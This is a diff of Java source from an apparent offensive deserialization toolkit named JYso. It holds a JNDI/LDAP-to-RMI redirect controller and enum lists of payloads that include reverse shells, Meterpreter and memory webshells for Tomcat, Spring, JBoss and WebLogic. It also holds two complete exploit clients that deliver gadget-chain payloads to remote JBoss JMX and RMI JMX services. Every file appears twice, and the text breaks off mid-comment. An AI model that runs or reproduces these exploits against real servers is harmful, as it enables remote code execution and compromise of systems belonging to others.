import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
@LdapMapping(uri = {"/ldap2rmi"})
public class ldap2rmiController implements LdapController {
private final String ip = Config.ip;
private final String rmiPort = String.valueOf(Config.rmiPort);
private String path;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("- Change LDAP to RMI ");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
base = base.replace('\\', '/');
int index = base.indexOf('/');
if (index != -1) {
path = base.substring(index);
}
}
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
@LdapMapping(uri = {"/ldap2rmi"})
public class ldap2rmiController implements LdapController {
private final String ip = Config.ip;
private final String rmiPort = String.valueOf(Config.rmiPort);
private String path;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("- Change LDAP to RMI ");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
base = base.replace('\\', '/');
int index = base.indexOf('/');
if (index != -1) {
path = base.substring(index);
}
}
}
@@ -1,39 +1,39 @@
package com.qi4l.JYso.controllers.utils;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class JNDIUtils {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
private static final int KEY_SIZE = 16;
public static String decrypt(String ciphertext, String key) throws Exception {
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
byte[] ivBytes = new byte[KEY_SIZE];
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
byte[] keyBytes = getKeyBytes(key);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, StandardCharsets.UTF_8);
}
private static byte[] getKeyBytes(String key) {
byte[] keyBytes = new byte[KEY_SIZE];
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
return keyBytes;
}
}
package com.qi4l.JYso.controllers.utils;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class JNDIUtils {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
private static final int KEY_SIZE = 16;
public static String decrypt(String ciphertext, String key) throws Exception {
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
byte[] ivBytes = new byte[KEY_SIZE];
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
byte[] keyBytes = getKeyBytes(key);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, StandardCharsets.UTF_8);
}
private static byte[] getKeyBytes(String key) {
byte[] keyBytes = new byte[KEY_SIZE];
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
return keyBytes;
}
}
@@ -1,8 +1,8 @@
package com.qi4l.JYso.enumtypes;
public enum GadgetType {
base64Two,
msf,
base64,
shell,
}
package com.qi4l.JYso.enumtypes;
public enum GadgetType {
base64Two,
msf,
base64,
shell,
}
@@ -1,47 +1,47 @@
package com.qi4l.JYso.enumtypes;
public enum PayloadType {
sethttp,
dnslog,
tomcatupgrade,
command,
reverseshell,
tomcatecho,
springecho,
weblogicecho,
windowsecho,
linuxecho2,
linuxecho1,
allecho,
websphereecho,
resinecho,
tomcatfilterjmx,
tomcatfilterth,
tomcatlistenerjmx,
tomcatlistenerth,
tomcatservletjmx,
tomcatservletth,
jbossfilter,
jbossservlet,
webspherememshell,
springinterceptor,
springcontroller,
issuccess,
jettyfilter,
jettyservlet,
struts2actionms,
wsfilter,
tomcatexecutor,
meterpreter,
resinfilterth,
resinservletth,
jbossecho,
jettyecho,
cmsmsbync,
proxymsbync,
wsresin,
mstsjproxy,
mstsjser,
wsweblogic,
wswebsphereproxy,
}
package com.qi4l.JYso.enumtypes;
public enum PayloadType {
sethttp,
dnslog,
tomcatupgrade,
command,
reverseshell,
tomcatecho,
springecho,
weblogicecho,
windowsecho,
linuxecho2,
linuxecho1,
allecho,
websphereecho,
resinecho,
tomcatfilterjmx,
tomcatfilterth,
tomcatlistenerjmx,
tomcatlistenerth,
tomcatservletjmx,
tomcatservletth,
jbossfilter,
jbossservlet,
webspherememshell,
springinterceptor,
springcontroller,
issuccess,
jettyfilter,
jettyservlet,
struts2actionms,
wsfilter,
tomcatexecutor,
meterpreter,
resinfilterth,
resinservletth,
jbossecho,
jettyecho,
cmsmsbync,
proxymsbync,
wsresin,
mstsjproxy,
mstsjser,
wsweblogic,
wswebsphereproxy,
}
@@ -1,7 +1,7 @@
package com.qi4l.JYso.enumtypes;
public enum WebsphereActionType {
list,
upload,
rce;
}
package com.qi4l.JYso.enumtypes;
public enum WebsphereActionType {
list,
upload,
rce;
}
@@ -1,11 +1,11 @@
package com.qi4l.JYso.exceptions;
public class IncorrectParamsException extends RuntimeException {
public IncorrectParamsException() {
super();
}
public IncorrectParamsException(String message) {
super(message);
}
}
package com.qi4l.JYso.exceptions;
public class IncorrectParamsException extends RuntimeException {
public IncorrectParamsException() {
super();
}
public IncorrectParamsException(String message) {
super(message);
}
}
@@ -1,11 +1,11 @@
package com.qi4l.JYso.exceptions;
public class UnSupportedActionTypeException extends RuntimeException {
public UnSupportedActionTypeException() {
super();
}
public UnSupportedActionTypeException(String message) {
super(message);
}
}
package com.qi4l.JYso.exceptions;
public class UnSupportedActionTypeException extends RuntimeException {
public UnSupportedActionTypeException() {
super();
}
public UnSupportedActionTypeException(String message) {
super(message);
}
}
@@ -1,11 +1,11 @@
package com.qi4l.JYso.exceptions;
public class UnSupportedGadgetTypeException extends RuntimeException {
public UnSupportedGadgetTypeException() {
super();
}
public UnSupportedGadgetTypeException(String message) {
super(message);
}
}
package com.qi4l.JYso.exceptions;
public class UnSupportedGadgetTypeException extends RuntimeException {
public UnSupportedGadgetTypeException() {
super();
}
public UnSupportedGadgetTypeException(String message) {
super(message);
}
}
@@ -1,11 +1,11 @@
package com.qi4l.JYso.exceptions;
public class UnSupportedPayloadTypeException extends RuntimeException {
public UnSupportedPayloadTypeException() {
super();
}
public UnSupportedPayloadTypeException(String message) {
super(message);
}
}
package com.qi4l.JYso.exceptions;
public class UnSupportedPayloadTypeException extends RuntimeException {
public UnSupportedPayloadTypeException() {
super();
}
public UnSupportedPayloadTypeException(String message) {
super(message);
}
}
+376 -376
View File
@@ -1,376 +1,376 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.jboss.remoting3.*;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.*;
import org.jboss.remotingjmx.VersionedConnection;
import org.xnio.*;
import org.xnio.IoFuture.Status;
import org.xnio.ssl.JsseXnioSsl;
import org.xnio.ssl.XnioSsl;
import javax.management.*;
import javax.management.remote.JMXServiceURL;
import javax.security.auth.callback.*;
import javax.security.sasl.RealmCallback;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.SocketAddress;
import java.net.URI;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.*;
import java.util.logging.*;
/**
* An exploitation client for JBoss AS/Wildfly JMX
* <p>
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
* <p>
* This is not as readily exploitable as in other pieces of software:
* 1. they only allow authenticated access by default
* 2. they have a very strict module architecture:
* - all MBeans exported by default use classloaders that expose almost nothing useful
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
* <p>
* This client enumerates all application exported MBean method which are then called
* delivering the specified payload.
* <p>
* I.e. you can successfully exploit that
* - you have access to the interface
* (username/password can be specified via URL, note: despite not noticeable,
* local connections implicitly use authentication)
* - there is an application exported MBean
* - that application imports the classes required for the gadget chain
*
* @author mbechler
*/
@SuppressWarnings({
"rawtypes"
})
public class JBoss {
public static void main(String[] args) throws Exception {
if (args.length < 5) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
System.exit(-1);
}
URI u = URI.create(args[0]);
// 去除前一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
String username = null;
String password = null;
if (u.getUserInfo() != null) {
int sep = u.getUserInfo().indexOf(':');
if (sep >= 0) {
username = u.getUserInfo().substring(0, sep);
password = u.getUserInfo().substring(sep + 1);
} else {
System.err.println("Need <user>:<password>@");
System.exit(-1);
}
}
doRun(u, payloadObject, username, password);
}
private static void doRun(URI u, final Object payloadObject, String username, String password) {
ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null;
Channel c = null;
VersionedConnection vc = null;
try {
Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler());
logger.setLevel(Level.INFO);
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options);
System.err.println("Connected");
vc = makeVersionedConnection(c);
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
doExploit(payloadObject, mbc);
System.err.println("DONE");
} catch (Throwable e) {
e.printStackTrace(System.err);
} finally {
cleanup(instance, context, ch, c, vc);
}
}
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
VersionedConnection vc) {
if (vc != null) {
vc.close();
}
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (ch != null) {
try {
ch.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (instance != null) {
try {
instance.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (context != null) {
context.getXnioWorker().shutdown();
}
}
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
FutureResult<ConnectionHandlerFactory> result = new FutureResult<>();
instance.connect(null, destination, options, result, callbacks -> {
for (Callback cb : callbacks) {
if (cb instanceof NameCallback) {
((NameCallback) cb).setName(username);
} else if (cb instanceof PasswordCallback) {
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
} else if (!(cb instanceof RealmCallback)) {
System.err.println(cb);
throw new UnsupportedCallbackException(cb);
}
}
}, xnioSsl);
System.err.println("waiting for connection");
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
Status s = ioFuture.await(5, TimeUnit.SECONDS);
if (s == Status.FAILED) {
System.err.println("Cannot connect");
if (ioFuture.getException() != null) {
ioFuture.getException().printStackTrace(System.err);
}
} else if (s != Status.DONE) {
ioFuture.cancel();
System.err.println("Connect timeout");
System.exit(-1);
}
return ioFuture.getInterruptibly();
}
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
Channel c;
FutureResult<Channel> chResult = new FutureResult<>(context.getExecutor());
ch.open("jmx", chResult, options);
IoFuture<Channel> cFuture = chResult.getIoFuture();
Status s2 = cFuture.await();
if (s2 == Status.FAILED) {
System.err.println("Cannot connect");
if (cFuture.getException() != null) {
throw new IOException("Connect failed", cFuture.getException());
}
} else if (s2 != Status.DONE) {
cFuture.cancel();
throw new IOException("Connect timeout");
}
c = cFuture.get();
return c;
}
private static VersionedConnection makeVersionedConnection(Channel c)
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc;
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc;
}
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
Object[] params = new Object[1];
params[0] = payloadObject;
System.err.println("Querying MBeans");
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
System.err.println("Found " + testMBeans.size() + " MBeans");
for (ObjectInstance oi : testMBeans) {
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
try {
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
return;
} catch (Throwable e) {
String msg = e.getMessage();
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
int start = msg.indexOf('"');
int stop = msg.indexOf('"', start + 1);
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
int c_start = msg.indexOf(':');
int c_end = msg.indexOf(' ', c_start + 2);
String cls = msg.substring(c_start + 2, c_end);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")");
}
} else {
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
return;
}
}
}
}
}
private static final class ConsoleLogHandler extends Handler {
@Override
public void publish(LogRecord record) {
System.err.println(record.getMessage());
}
@Override
public void flush() {
}
@Override
public void close() throws SecurityException {
}
}
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private final ConnectionProviderContextImpl context;
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
this.context = context;
}
public void remoteClosed() {
}
public OpenListener getServiceOpenListener(String serviceType) {
return null;
}
public RegisteredService getRegisteredService(String serviceType) {
return null;
}
public ConnectionProviderContext getConnectionProviderContext() {
return this.context;
}
public Connection getConnection() {
return null;
}
}
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
private final XnioWorker worker;
private final ExecutorService executor;
private final Xnio instance;
private final Endpoint endpoint;
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
this.instance = Xnio.getInstance();
this.worker = this.instance.createWorker(opts);
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
this.executor = Executors.newCachedThreadPool(r -> {
Thread t = new Thread(r, "Worker");
t.setDaemon(true);
return t;
});
}
public XnioWorker getXnioWorker() {
return this.worker;
}
public Xnio getXnio() {
return this.instance;
}
public Executor getExecutor() {
return this.executor;
}
public Endpoint getEndpoint() {
return this.endpoint;
}
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
System.err.println("accept");
}
}
}
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.jboss.remoting3.*;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.*;
import org.jboss.remotingjmx.VersionedConnection;
import org.xnio.*;
import org.xnio.IoFuture.Status;
import org.xnio.ssl.JsseXnioSsl;
import org.xnio.ssl.XnioSsl;
import javax.management.*;
import javax.management.remote.JMXServiceURL;
import javax.security.auth.callback.*;
import javax.security.sasl.RealmCallback;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.SocketAddress;
import java.net.URI;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.*;
import java.util.logging.*;
/**
* An exploitation client for JBoss AS/Wildfly JMX
* <p>
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
* <p>
* This is not as readily exploitable as in other pieces of software:
* 1. they only allow authenticated access by default
* 2. they have a very strict module architecture:
* - all MBeans exported by default use classloaders that expose almost nothing useful
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
* <p>
* This client enumerates all application exported MBean method which are then called
* delivering the specified payload.
* <p>
* I.e. you can successfully exploit that
* - you have access to the interface
* (username/password can be specified via URL, note: despite not noticeable,
* local connections implicitly use authentication)
* - there is an application exported MBean
* - that application imports the classes required for the gadget chain
*
* @author mbechler
*/
@SuppressWarnings({
"rawtypes"
})
public class JBoss {
public static void main(String[] args) throws Exception {
if (args.length < 5) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
System.exit(-1);
}
URI u = URI.create(args[0]);
// 去除前一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
String username = null;
String password = null;
if (u.getUserInfo() != null) {
int sep = u.getUserInfo().indexOf(':');
if (sep >= 0) {
username = u.getUserInfo().substring(0, sep);
password = u.getUserInfo().substring(sep + 1);
} else {
System.err.println("Need <user>:<password>@");
System.exit(-1);
}
}
doRun(u, payloadObject, username, password);
}
private static void doRun(URI u, final Object payloadObject, String username, String password) {
ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null;
Channel c = null;
VersionedConnection vc = null;
try {
Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler());
logger.setLevel(Level.INFO);
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options);
System.err.println("Connected");
vc = makeVersionedConnection(c);
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
doExploit(payloadObject, mbc);
System.err.println("DONE");
} catch (Throwable e) {
e.printStackTrace(System.err);
} finally {
cleanup(instance, context, ch, c, vc);
}
}
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
VersionedConnection vc) {
if (vc != null) {
vc.close();
}
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (ch != null) {
try {
ch.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (instance != null) {
try {
instance.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (context != null) {
context.getXnioWorker().shutdown();
}
}
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
FutureResult<ConnectionHandlerFactory> result = new FutureResult<>();
instance.connect(null, destination, options, result, callbacks -> {
for (Callback cb : callbacks) {
if (cb instanceof NameCallback) {
((NameCallback) cb).setName(username);
} else if (cb instanceof PasswordCallback) {
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
} else if (!(cb instanceof RealmCallback)) {
System.err.println(cb);
throw new UnsupportedCallbackException(cb);
}
}
}, xnioSsl);
System.err.println("waiting for connection");
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
Status s = ioFuture.await(5, TimeUnit.SECONDS);
if (s == Status.FAILED) {
System.err.println("Cannot connect");
if (ioFuture.getException() != null) {
ioFuture.getException().printStackTrace(System.err);
}
} else if (s != Status.DONE) {
ioFuture.cancel();
System.err.println("Connect timeout");
System.exit(-1);
}
return ioFuture.getInterruptibly();
}
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
Channel c;
FutureResult<Channel> chResult = new FutureResult<>(context.getExecutor());
ch.open("jmx", chResult, options);
IoFuture<Channel> cFuture = chResult.getIoFuture();
Status s2 = cFuture.await();
if (s2 == Status.FAILED) {
System.err.println("Cannot connect");
if (cFuture.getException() != null) {
throw new IOException("Connect failed", cFuture.getException());
}
} else if (s2 != Status.DONE) {
cFuture.cancel();
throw new IOException("Connect timeout");
}
c = cFuture.get();
return c;
}
private static VersionedConnection makeVersionedConnection(Channel c)
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc;
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc;
}
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
Object[] params = new Object[1];
params[0] = payloadObject;
System.err.println("Querying MBeans");
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
System.err.println("Found " + testMBeans.size() + " MBeans");
for (ObjectInstance oi : testMBeans) {
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
try {
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
return;
} catch (Throwable e) {
String msg = e.getMessage();
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
int start = msg.indexOf('"');
int stop = msg.indexOf('"', start + 1);
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
int c_start = msg.indexOf(':');
int c_end = msg.indexOf(' ', c_start + 2);
String cls = msg.substring(c_start + 2, c_end);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")");
}
} else {
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
return;
}
}
}
}
}
private static final class ConsoleLogHandler extends Handler {
@Override
public void publish(LogRecord record) {
System.err.println(record.getMessage());
}
@Override
public void flush() {
}
@Override
public void close() throws SecurityException {
}
}
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private final ConnectionProviderContextImpl context;
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
this.context = context;
}
public void remoteClosed() {
}
public OpenListener getServiceOpenListener(String serviceType) {
return null;
}
public RegisteredService getRegisteredService(String serviceType) {
return null;
}
public ConnectionProviderContext getConnectionProviderContext() {
return this.context;
}
public Connection getConnection() {
return null;
}
}
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
private final XnioWorker worker;
private final ExecutorService executor;
private final Xnio instance;
private final Endpoint endpoint;
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
this.instance = Xnio.getInstance();
this.worker = this.instance.createWorker(opts);
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
this.executor = Executors.newCachedThreadPool(r -> {
Thread t = new Thread(r, "Worker");
t.setDaemon(true);
return t;
});
}
public XnioWorker getXnioWorker() {
return this.worker;
}
public Xnio getXnio() {
return this.instance;
}
public Executor getExecutor() {
return this.executor;
}
public Endpoint getEndpoint() {
return this.endpoint;
}
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
System.err.println("accept");
}
}
}
@@ -1,43 +1,43 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
/**
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if (args.length < 6) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
/**
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if (args.length < 6) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD;
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
@@ -1,48 +1,48 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.JRMPClient;
import java.net.URL;
/**
* JRMP listener triggering RMI remote classloading
* <p>
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
* <p>
